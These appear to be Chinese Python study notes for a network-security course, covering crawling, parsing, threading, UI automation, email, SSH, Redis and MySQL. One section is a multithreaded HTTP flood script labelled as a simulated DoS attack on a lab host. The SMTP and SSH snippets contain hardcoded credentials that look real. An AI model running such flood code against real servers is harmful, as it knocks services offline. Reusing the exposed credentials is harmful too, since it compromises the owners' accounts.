其次,HTML本身也是一门标记语言,和XML同源同宗,可以使用DOM对其文本进行处理
所有的爬虫核心基于超链接,进而实现网站和网页的跳转
如果要实现一个整站爬取程序,首先收集到站内所有网址,并且将重复网址去除,开始爬取内容并保存在本地或数据库,进行实现后续目标
import re,requests,time def download_page(): resp = requests.get('http://www.woniunote.com') # 解析网页所有超链接 links = re.findall('<a href="(.+?)"', resp.text) for link in links: # 根据页面特性 排除无效的超链接 if 'articleid' in link: continue if link.startswith('#'): continue # 拼接完整的url if link.startswith("/"): link = "http://www.woniunote.com" + link # 将页面保存本地 resp = requests.get(link) filename = link.split("/")[-1] + time.strftime("_%Y%m%d_%H%M%S") + ".html" resp.encoding = 'utf-8' with open(f"../woniunode/page/{filename}", mode="a+", encoding="utf-8") as file: file.write(resp.text) def download_images(): resp = requests.get("http://www.woniunote.com") images = re.findall('<img src="(.+?)"',resp.text) for image in images: if image.startswith("/"): image="http://www.woniunote.com"+image filename = image.split("/")[-1] resp = requests.get(image) with open(f"../woniunode/images/{filename}",mode="wb") as im: im.write(resp.content) if __name__ == '__main__': # download_page() download_images()
BeautifulSoup4和 lxml 一样,Beautiful Soup 也是一个HTML/XML的解析器,主要的功能也是如何解析和提取 HTML/XML 数据
BeautifulSoup支持Python标准库中的HTML解析器,还支持一些第三方的解析器,如果我们不安装它,则 Python 会使用 Python默认的解析器,lxml 解析器更加强大,速度更快,推荐使用lxml 解析器
Beautiful Soup自动将输入文档转换为Unicode编码,输出文档转换为utf-8编码。你不需要考虑编码方式,除非文档没有指定一个编码方式,这时,Beautiful Soup就不能自动识别编码方式了
BS基于DOM结构进行页面内容解析,当开始解析时,会将整个页面的DOM树保存在内存中,进而实现查找
解析器
Python标准库
lxml HTML解析器
lxml XML解析器
html5lib
使用
查找页面元素的通用方法
find_all:根据标签、属性、xpath等进行查找
select:根据CSS选择器进行查找
from bs4 import BeautifulSoup import requests resp = requests.get("http://www.woniunote.com") # 初始化解析器 html = BeautifulSoup(resp.text,'lxml') # 查找页面元素 -- 根据标签层次进行查找 print(html.head.title) # 查找文本 print(html.head.title.string) # 找到的是第一个div的标签 print(html.div) # 查找页面元素的通用方法 # find_all:根据标签、属性、xpath等进行查找 # select:CSS选择器 # 查找所有超链接 links = html.find_all('a') for link in links: print(link['href']) # 根据id选择器 keyword = html.find(id='keyword') print(keyword["class"]) print(keyword) # 根据class选择器 titles = html.find_all(class_='title') for title in titles: print(title) # 根据文本 title = html.find(text='核心实验:利用UISpy识别Windows界面元素') print(title) # 查找上一级 print(title.parent) # 根据xpath风格查找 titles = html.find_all('div',{'class':'title'}) lis = html.select('ul li') print(lis)
# 并发操作:如果一个单核的CPU,是不存在严格意义上的并发,只是因为处理时间极短,感觉上是并发 # 针对多核CPU:4核CPU,严格意义上的并发处理是4个 # 进程:每一个应用程序 至少会有一个进程 并且拥有PID和独立的内存空间 # 线程:每一个进程都要有一个对应的线程,线程不会分配独立的内存空间 import threading, time # 单线程 def test_01(): print(threading.current_thread().name) # 当前线程的名字 for i in range(5): print(time.strftime("%Y:%m:%d-%H:%M:%S")) time.sleep(1) # 多线程 def test_02(): print(time.strftime("%Y:%m:%d-%H:%M:%S")) time.sleep(1) if __name__ == '__main__': # test_01() # 当Python执行时,虽没手工启动线程,默认python会启动一个主线程 for i in range(10): t = threading.Thread(target=test_02) # 实例化一个线程,并指定调用test_02函数 有参数的话使用arg=()传入 t.start() # 启动线程
# 使用多线程模拟流量泛洪攻击 # 定义一个装饰器 收集响应时间 def performance(func): def inner(): start = time.time() func() end = time.time() print(f"{func.__name__}响应时间:{round(end-start,4)}") return inner session = requests.session() @performance def home(): resp = session.get("http://192.168.142.132:8080/woniusales/") if "蜗牛进销存-首页" in resp.text: print("首页访问成功") else: print("首页访问失败") @performance def login(): data = {'username': 'admin', 'password': 'admin123', 'verifycode': '0000'} resp = session.post("http://192.168.142.132:8080/woniusales/user/login", data=data) print(resp.text) # 基于http协议进行流量泛洪 压力测试 性能测试 def woniusales_flood(): for i in range(2000): home() login() if __name__ == '__main__': for i in range(500): threading.Thread(target=woniusales_flood).start()
DOS攻击核心:利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘、带宽、连接数等),使其无法正确提供对外服务
操作Web页面
通常情况下,网络安全相关领域,更多的都是偏重于协议和通信
如果协议通信过程被加密或者无法了解其协议构成,是无法直接通过协议进行处理。此时可以考虑模拟UI操作,进而实现相对应的部分功能
运行被操作的程序,使其界面出现
找到被操作的界面元素
基于元素的特征进行识别
图像识别和对比 opencv
对其进行操作:输入、单击、右键等
对操作后的结果进行验证,确认操作是成功的
selenium webdriver 通信机制:python模拟客户端发送HTTP请求给webdriver,webdriver驱动浏览器执行
from selenium import webdriver from selenium.webdriver.common.by import By # 操作Windows元素使用 uiautomation # 操作移动端使用 appium # 需要下载chromedriver,将chromedriver.exe的文件目录放在PATH环境变量下,否则要在参数指定地址 # driver = webdriver.Chrome(executable_path="D:\xxx\xx") # 第一步:先实例化webdriver对象,用于初始化浏览器操作 driver = webdriver.Chrome() # 打开谷歌 # driver = webdriver.Firefox() # 打开火狐 driver.maximize_window() # 最大化网页 # print(driver.title) # 标题 # print(driver.page_source) # 源码 # print(driver.get_cookies()) # driver.forward() # driver.back() # driver.refresh() # 访问目标网址的页面地址 driver.get("http://192.168.142.132:8080/woniusales/") # 第二步:利用DOM识别机制,去识别和操作界面的元素 driver.find_element(By.ID,'username').send_keys('admin') driver.find_element(By.ID,'password').send_keys('admin123') driver.find_element(By.XPATH,'//input[@id="verifycode"]').send_keys('0000') driver.find_element(By.CSS_SELECTOR,"body > div.container > div > form > div:nth-child(6) > button").click() driver.close()
import uiautomation
# ui spy工具识别
calc = uiautomation.WindowControl(Name='计算器')
calc.ButtonControl(AutomationId='num1Button').Click()
calc.ButtonControl(AutomationId='plusButton').Click()
calc.ButtonControl(Name='五').Click()
calc.ButtonControl(Name='等于').Click()
短信验证码:用自己的手机获取验证码,然后用python直接操作手机端提取验证码,实现自动化处理的目的
图像验证码:静态和动态
静态的图片验证码利用打码平台或者人工智能训练集进行处理
动态的图片验证码,比如滑动 目前没有很成熟的处理
机器学习
可以处理的类型:文字、视频、图片、语音
如何进行学习:足够多的训练数据 CNN 卷积神经网络
学习数据必须要有正确的标记:图片和对应的正确答案
传递的入侵检测:基于特征,某个流量或者请求,存在可疑的特征时,进行预警或防护
基于AI的入侵检测:基于机器学习 学习大量的正确的数据包和请求,一旦发现某个数据包与已经学习过的数据包匹配度极低,则可疑
SMTP POP3 IMAP – 默认明文传输
发送协议
# 导入内置邮件模块 import smtplib,time from email.mime.application import MIMEApplication from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # 构建邮件主题对象 msg = MIMEMultipart() msg['Subject'] = 'duyun' msg['From'] ='2339858821@qq.com' msg['To']='2673711750@qq.com' # 构建邮件正文 body = """ <div>这是一个邮件正文</div> """ content = MIMEText(body,'html','utf-8') msg.attach(content) # 建立与邮件服务器的连接并发送邮件 smtpObj = smtplib.SMTP_SSL('smtp.qq.com') # 实例化 如果基于SSL则使用smtplib.SMTP_SSL smtpObj.connect('smtp.qq.com',port=465) # password 是qq邮箱的授权码 smtpObj.login(user='2339858821@qq.com',password='Du030706Yun.....') smtpObj.sendmail('2339858821@qq.com','2673711750@qq.com',str(msg)) # 关闭连接 smtpObj.quit()
import paramiko # 连接服务器 transport = paramiko.Transport(('192.168.142.132',22)) transport.connect(username='root',password='YBOssing519') # 实例化客户端 ssh = paramiko.SSHClient() ssh._transport=transport # 实例化ftp 传输文件的 sftp = paramiko.SFTPClient.from_transport(transport) # 执行命令 stdin,stdout,stderr=ssh.exec_command('ls /opt') ssh.exec_command('echo "duyun">>/opt/duyun.txt') stdin1,stdout1,stderr1=ssh.exec_command('cat /opt/duyun.txt') print(stdout.read().decode()) print(stdout1.read().decode()) # 传输文件 # sftp.put('xxx') sftp.get('/opt/duyun.txt','./duyun.txt') # from...to...
核心协议体
*2 下述指令由两个字符串构成
$4 后续的字符串长度
auth大
$6
TCP连接
import socket
s = socket.socket()
s.connect(('192.168.142.132',6379))
s.send('*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n'.encode())
print(s.recv(1024).decode())
redis连接
import redis
# 建立连接
red = redis.Redis(host='192.168.142.132',port=6379,password='duyun',db=0)
# 调用
red.set('addr','shandong')
print(red.get('addr').decode())
# 面向对象的核心特点 # 1.类和实例:类有属性和方法 实例用于调用 # 2.封装:可以决定哪些属性和方法是可以访问的public 受保护的protected 私有的private # 3.继承:子类继承父类所有可以访问的方法和属性 # 4.多态:强类型编程语言才有严格上的多态 class People: # 定义类属性 course='网络安全' # name = '' # age = 0 # addr = '' # 定义构造方法:实例化的时候自动调用的放啊,并且可以将实例变量(属性)定义于此 # self 类实例的引用,与其他语言中 this 关键字类似,类方法的第一个参数建议使用self def __init__(self,name='张三',age=30,addr='河南'): self.name = name self.age = age self.addr = addr # 定义析构方法:释放内存空间使用 def __del__(self): print('析构函数') # 打印类实例的时候调用的魔术方法 def __str__(self): return f'当前类的实例正在被打印,内存地址:{hex(id(self))}' # 类方法 def talk(self): print('People is talking') def work(self): print('People is working') # 受保护的方法 def _test01(self): print('受保护的方法') # 私有的方法 def __test02(self): print("私有的方法") # 静态方法:直接使用类名而非实例调用的方法 静态方法常驻类的内存空间 @classmethod def teach(cls): print(cls.course) # 类属性使用类的引用cls引用 # 继承 class Men(People): pass if __name__ == '__main__': # 基本类的实例化 # p1 = People() # 类的实例化 # p1.name # 没有实例变量的时候找类变量 # 构造方法实例化 p2=People('duyun',19,'山东') print(p2.name) # 类的静态方法直接使用类名调用 可以使用实例进行调用但是不建议 People.teach() p2.teach() print(p2) m=Men() m._test01()
import pymysql from pymysql.cursors import DictCursor class DB: def __init__(self, host='localhost', user='root', password='duyun', database='test', charset='utf8',type='default'): self.conn = pymysql.connect(host=host, user=user, password=password, database=database, charset=charset) if type =='default': self.cursor = self.conn.cursor() elif type == 'dict': self.cursor = self.conn.cursor(DictCursor) else: raise Exception("传入type不正确") def query(self,sql): self.cursor.execute(sql) result = self.cursor.fetchall() return result def update(self,sql): try: self.cursor.execute(sql) self.conn.commit() print('更新成功') except: print("更新失败") def __del__(self): self.conn.close() if __name__ == '__main__': db=DB(type='dict') db.update('update name set id=4 where id=2 ') res = db.query('select * from name') print(res)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。